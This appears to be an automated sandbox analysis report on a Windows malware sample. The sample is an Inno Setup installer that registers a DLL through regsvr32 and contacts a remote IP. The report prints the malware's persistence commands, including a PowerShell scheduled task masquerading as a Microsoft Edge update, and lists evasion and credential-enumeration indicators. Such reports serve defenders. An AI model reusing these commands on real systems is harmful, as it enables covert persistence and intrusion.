Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559884
MD5:	fecd099f9b8d9500d7199a1054397e3f
SHA1:	3df235780c9ad851474c20338e4921f5f2decaf7
SHA256:	96a60b6cde63794b637bce219083e7905560c626e68c00af1d99be451c8c3700
Tags:	exeuser-Bitsight
Infos:

Detection

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: Powershell launch regsvr32

System process connects to network (likely due to code injection or exploit)

AI detected suspicious sample

Loading BitLocker PowerShell Module

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Sets debug register (to hijack the execution of another thread)

Sigma detected: Potentially Suspicious Child Process Of Regsvr32

Suspicious powershell command line found

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to enumerate network shares

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries keyboard layouts

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Network Connection Initiated By Regsvr32.EXE

Sigma detected: Potential Regsvr32 Commandline Flag Anomaly

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

file.exe (PID: 7492 cmdline: "C:\Users\user\Desktop\file.exe" MD5: FECD099F9B8D9500D7199A1054397E3F)

file.tmp (PID: 7508 cmdline: "C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp" /SL5="$10478,1389145,140800,C:\Users\user\Desktop\file.exe" MD5: 14C6FA8E50B4147075EB922BD0C8B28D)

cmd.exe (PID: 7528 cmdline: "cmd.exe" /C timeout /T 3 & "C:\Users\user\Desktop\file.exe" /VERYSILENT /SUPPRESSMSGBOXES MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7576 cmdline: timeout /T 3 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

file.exe (PID: 7636 cmdline: "C:\Users\user\Desktop\file.exe" /VERYSILENT /SUPPRESSMSGBOXES MD5: FECD099F9B8D9500D7199A1054397E3F)

file.tmp (PID: 7656 cmdline: "C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp" /SL5="$700F8,1389145,140800,C:\Users\user\Desktop\file.exe" /VERYSILENT /SUPPRESSMSGBOXES MD5: 14C6FA8E50B4147075EB922BD0C8B28D)

regsvr32.exe (PID: 7672 cmdline: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll" MD5: 878E47C8656E53AE8A8A21E927C6F7E0)

regsvr32.exe (PID: 7688 cmdline: /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll" MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

powershell.exe (PID: 7736 cmdline: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8100 cmdline: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{D7C2DB06-FCF6-4992-AF37-53F140CD5A88}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

regsvr32.exe (PID: 3152 cmdline: C:\Windows\system32\regsvr32.EXE /S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

powershell.exe (PID: 1880 cmdline: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious Child Process Of Regsvr32

Source: Process started

Author: elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", CommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll", ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 7688, ParentProcessName: regsvr32.exe, ProcessCommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", ProcessId: 7736, ProcessName: powershell.exe

Sigma detected: Network Connection Initiated By Regsvr32.EXE

Source: Network Connection

Author: Dmitriy Lifanov, oscd.community: Data: DestinationIp: 154.216.19.129, DestinationIsIpv6: false, DestinationPort: 58001, EventID: 3, Image: C:\Windows\System32\regsvr32.exe, Initiated: true, ProcessId: 7688, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49736

Sigma detected: Potential Regsvr32 Commandline Flag Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll", CommandLine: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp" /SL5="$700F8,1389145,140800,C:\Users\user\Desktop\file.exe" /VERYSILENT /SUPPRESSMSGBOXES, ParentImage: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp, ParentProcessId: 7656, ParentProcessName: file.tmp, ProcessCommandLine: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll", ProcessId: 7672, ProcessName: regsvr32.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", CommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll", ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 7688, ParentProcessName: regsvr32.exe, ProcessCommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", ProcessId: 7736, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", CommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll", ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 7688, ParentProcessName: regsvr32.exe, ProcessCommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", ProcessId: 7736, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Source: C:\Windows\System32\regsvr32.exe

Code function: 16_2_00007FFDFB2694A0 BCryptGenRandom,SystemFunction036,

16_2_00007FFDFB2694A0

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Little Leg_is1

Jump to behavior

Source: unknown	HTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.4:49746 version: TLS 1.2

Source: C:\Windows\System32\regsvr32.exe

Code function: 16_2_00007FFDFB22B9F0 NetUserEnum,NetUserGetInfo,memcpy,NetApiBufferFree,NetApiBufferFree,NetApiBufferFree,LsaEnumerateLogonSessions,LsaFreeReturnBuffer,LsaGetLogonSessionData,memcmp,LsaFreeReturnBuffer,LsaFreeReturnBuffer,LsaFreeReturnBuffer,NetApiBufferFree,NetApiBufferFree,memcmp,

16_2_00007FFDFB22B9F0

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe	Network Connect: 154.216.19.129 58001			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 93.93.131.124 443			Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.4:49736 -> 154.216.19.129:58001

Source: global traffic	HTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1Host: the.earth.liConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1Host: the.earth.liConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 93.93.131.124 93.93.131.124

Source: Joe Sandbox View

ASN Name: SKHT-ASShenzhenKatherineHengTechnologyInformationCo SKHT-ASShenzhenKatherineHengTechnologyInformationCo

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.129

Source: global traffic	HTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1Host: the.earth.liConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1Host: the.earth.liConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: the.earth.li

Source: regsvr32.exe, 00000008.00000003.1818287850.0000000002934000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2089574907.0000000002945000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2324197266.00000000038C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.c
Source: regsvr32.exe, 00000008.00000003.1818287850.0000000002934000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGloba
Source: regsvr32.exe, 00000008.00000003.2088977331.00000000033A4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2020259374.0000000002E56000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2321313066.00000000038D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: regsvr32.exe, 00000008.00000003.2088977331.00000000033A4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2020259374.0000000002E56000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2321313066.00000000038D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: regsvr32.exe, 00000008.00000003.2088977331.00000000033A4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2020259374.0000000002E56000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2321313066.00000000038D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: powershell.exe, 00000009.00000002.1913116591.0000021FA4625000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2049496688.000002149E144000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2266875056.000001C81E4F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: regsvr32.exe, 00000008.00000003.1818287850.0000000002934000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2088977331.00000000033A4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2089574907.0000000002945000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2020259374.0000000002E56000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2321313066.00000000038D4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2324197266.00000000038C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: regsvr32.exe, 00000010.00000003.2320947816.0000000002DF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com1.3.6.1.5.5.7.48.2http://cacerts.digicert.com/DigiCertGlobalRootG2.crt
Source: regsvr32.exe, 00000010.00000003.2320947816.0000000002DF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com1.3.6.1.5.5.7.48.2http://cacerts.digicert.com/DigiCertGlobalRootG2.crtC
Source: regsvr32.exe, 00000010.00000003.2320947816.0000000002DF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com1.3.6.1.5.5.7.48.2http://cacerts.digicert.com/DigiCertGlobalRootG2.crtv
Source: regsvr32.exe, 00000010.00000003.2320947816.0000000002DF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: regsvr32.exe, 00000008.00000003.2090329426.0000000002829000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: powershell.exe, 00000011.00000002.2098231476.000001C80E6A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000009.00000002.1881087363.0000021F947D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1964877701.000002148E2FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2098231476.000001C80E6A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000009.00000002.1881087363.0000021F945B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1964877701.000002148E0D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2098231476.000001C80E481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000009.00000002.1881087363.0000021F947D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1964877701.000002148E2FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2098231476.000001C80E6A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000011.00000002.2098231476.000001C80E6A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: file.exe, 00000000.00000003.1748510327.000000007FD30000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748200530.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, file.tmp, 00000001.00000000.1749281885.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-DOVSB.tmp.6.dr, file.tmp.5.dr, file.tmp.0.dr	String found in binary or memory: http://www.innosetup.com/
Source: powershell.exe, 00000009.00000002.1921586400.0000021FACAA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: file.exe, 00000000.00000003.1748510327.000000007FD30000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748200530.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, file.tmp, 00000001.00000000.1749281885.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-DOVSB.tmp.6.dr, file.tmp.5.dr, file.tmp.0.dr	String found in binary or memory: http://www.remobjects.com/ps
Source: powershell.exe, 00000009.00000002.1881087363.0000021F945B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1964877701.000002148E0D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2098231476.000001C80E481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000011.00000002.2098231476.000001C80E6A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: regsvr32.exe, 00000008.00000003.2088977331.0000000003351000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2020259374.0000000002E03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2321313066.0000000003881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: regsvr32.exe, 00000008.00000003.2088977331.0000000003351000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2020259374.0000000002E03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2321313066.0000000003881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: regsvr32.exe, 00000008.00000003.2088977331.0000000003351000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2020259374.0000000002E03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2321313066.0000000003881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: powershell.exe, 00000011.00000002.2266875056.000001C81E4F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000011.00000002.2266875056.000001C81E4F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000011.00000002.2266875056.000001C81E4F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: file.tmp, 00000006.00000003.1789026333.00000000053A0000.00000004.00001000.00020000.00000000.sdmp, regsvr32.exe, regsvr32.exe, 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmp, is-D8FFC.tmp.6.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: powershell.exe, 00000011.00000002.2098231476.000001C80E6A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000009.00000002.1913116591.0000021FA4625000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2049496688.000002149E144000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2266875056.000001C81E4F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.4:49746 version: TLS 1.2

Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB220B68 NtQuerySystemInformation,	16_2_00007FFDFB220B68
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB21DBC0 GetProcessTimes,GetSystemTimes,GetProcessIoCounters,OpenProcessToken,GetTokenInformation,GetProcessHeap,HeapAlloc,GetTokenInformation,CloseHandle,NtQueryInformationProcess,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,memcpy,ReadProcessMemory,ReadProcessMemory,memset,GetModuleFileNameExW,K32GetModuleFileNameExW,VirtualQueryEx,RtlFreeHeap,GetProcessTimes,	16_2_00007FFDFB21DBC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB206890 memset,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,AddVectoredExceptionHandler,NtQueryInformationProcess,NtQuerySystemInformation,NtOpenThread,NtGetContextThread,NtSetContextThread,NtClose,	16_2_00007FFDFB206890

Source: C:\Windows\System32\regsvr32.exe

Code function: 16_2_00007FFDFB216163: memcpy,CreateFileW,GetDiskFreeSpaceExW,DeviceIoControl,CloseHandle,CloseHandle,memcmp,

16_2_00007FFDFB216163

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FFD9B1D4FFB	9_2_00007FFD9B1D4FFB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FFD9B1F4DFB	14_2_00007FFD9B1F4DFB
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB21DBC0	16_2_00007FFDFB21DBC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2AFC30	16_2_00007FFDFB2AFC30
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB20185D	16_2_00007FFDFB20185D
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB20F280	16_2_00007FFDFB20F280
